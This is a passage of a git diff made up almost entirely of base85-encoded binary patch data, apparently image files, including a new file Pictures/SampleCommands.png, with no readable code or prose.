ze?J{hxG8>X&6wSTMvU1*No!}nbECxe`J{`s0i8R(QZDaMSH9G}s4+Bg$zuhg_?jg<5#y9n(=I|IIMmue`E)0Extog|kng0dhi z5C>!pccqf#T8d4U{tX42TQ1j6-5IUPO}G9fR~@U_sOo!kp0&lP8jw77Issjq?<=-l zVh=a55p(g~Oyx2{)&ld|z~PG$v*hjrImABM0`t9h6buNen`V4{9($kNEdAS=76qc3 zo@u*7)oj=5bcMEV<%?~(Fc$)1ZMQ3J+vPT$AN^E2YKocj;tmLLn~B+}hNZf0RP!gJ5Na%jJscL}aR*!prPKKuPz_Cq5)w`3w0c=E(Jkny?HTLSRb z?n6B5v}M%bD94U#952s#*WC!RnPUoZX?h?f=byeA7F;7=fEtB5gK433?N2p6>yFJe4oS)m=HR) zNzrn=B~(PHu4|#)3f*TfbJK9nT7B-4?vhObgQ=xWs20@tLYi?6iNP*$Ef1%OyLu#3 z&L=Q(+OI${VdrXl?kpCr2%5Em%hHv~&i4Hk^C*cPV<~*+8Z;JxiUkD3r=dfc1#<+6 z!gqKoU%WM;^$VqRw%le~(>(8gn+>-k6PbU#<5}`Rz^2CmreokIT#}e@&(hw0d)=SL zYX8I|o@)rjtXIKZlL*0^G>7PJ_CR5_bjQl*df-9-kgb2?TJN#J5@z1w0`TZTUyaUf z^YC6}-@@<7F%0n;rYV@TEYL5&W2{``))oi=w-!zjHk}z8!#?l_`elKzYB3ebs3(Fh zUZ$(@x@%U>Ldz4N!I^Jx3Q>H2KR_%ss>!W~Q*YQm3tlWVt_ z>2m3YrvH?k?<2kkWMEFmnVcY1cfJxM^WXhPQzL@sEaig|p`l zW-093*O%Q#TQBUZeZ#nCs?>xZS@3~-~Qh6?>>uFquP3`ivvo9q?Jq3CJHER$*cM}{V!+G=)Ytd?S(z&BY>wKTs(&ZXnX~*eN;wadn6WS_H*1oa zW%7uwE!XawqeVl~SwAtvfZwsd_WHG{;sYLq{$j*0xhfI#bI7n68Y@%U1hzCA7uO+p zGhMw>5r?rIZKGow7rzYB24yxpalCNBPLDM0Iwt=hj}B-H@GjDjS=?JZK^J_1NV6l1 zMm-k&GmD#YK6!(I$Gi&msE}loqee2P5>wj`VORF7pAiN-$GXkUAB*1>X6`lG0^Chx zgaR|O=JZP<^mW@74Tng`R*voNz`1GImEEtZimG*AGEzk$DQn#({Q_e;bze(A$=moS zxXAj1 z8z*8CQ%RqXFw$h};-3|zD%NM-E~RQEE+>}%jNlF4_heJ^$Cu->0N)pL+*>rZmf1d& z#HE@1OxY$E3tBi`@#Okk>|N)br*-7ebC{5)>SbXh3aRWZq|(GrIBAvC)0rU}`VB&%XP;Dv;9o;?;?+N)~ZVTF48h%G+8p8%*K-X<-<< z!4z;)J*dYsd+br-cI*s(W>79+*%@MYK=p%)=gRZIrMVpSaF}O5?Jcc!vWY@D(L0r) zro0}arW>|xY3;OmUPPC(fklgTU#QdNMfbG;0I)OKj`0@gZXiubwwTV8&!OyhbU z6Mg>EM#11Pi#LuY%S&=_^rCzCzq2ZE0G^zSocq@ZEt8vI8nVCAhluIeGbdU!T-U{_ zYsy_vIdGBXOKY14TYciiskDt6b||NHU@t-UDg?1_y^<%6g>R?QPL?*U&0tM#0DSnr qrJ(<9$9t{q{r|y##QQ3~{NA8@-9@=vvF8f|{L#}k)G8*}Q~n2Vtf1=v literal 0 HcmV?d00001 diff --git a/Pictures/SampleCommands.png b/Pictures/SampleCommands.png new file mode 100644 index 0000000000000000000000000000000000000000..8ad15ae9f75a29caef6a773dba41d5c6444dcd58 GIT binary patch literal 25563 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%0AB})m`gPR%P?)o$cgVu+Rj=ub= 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 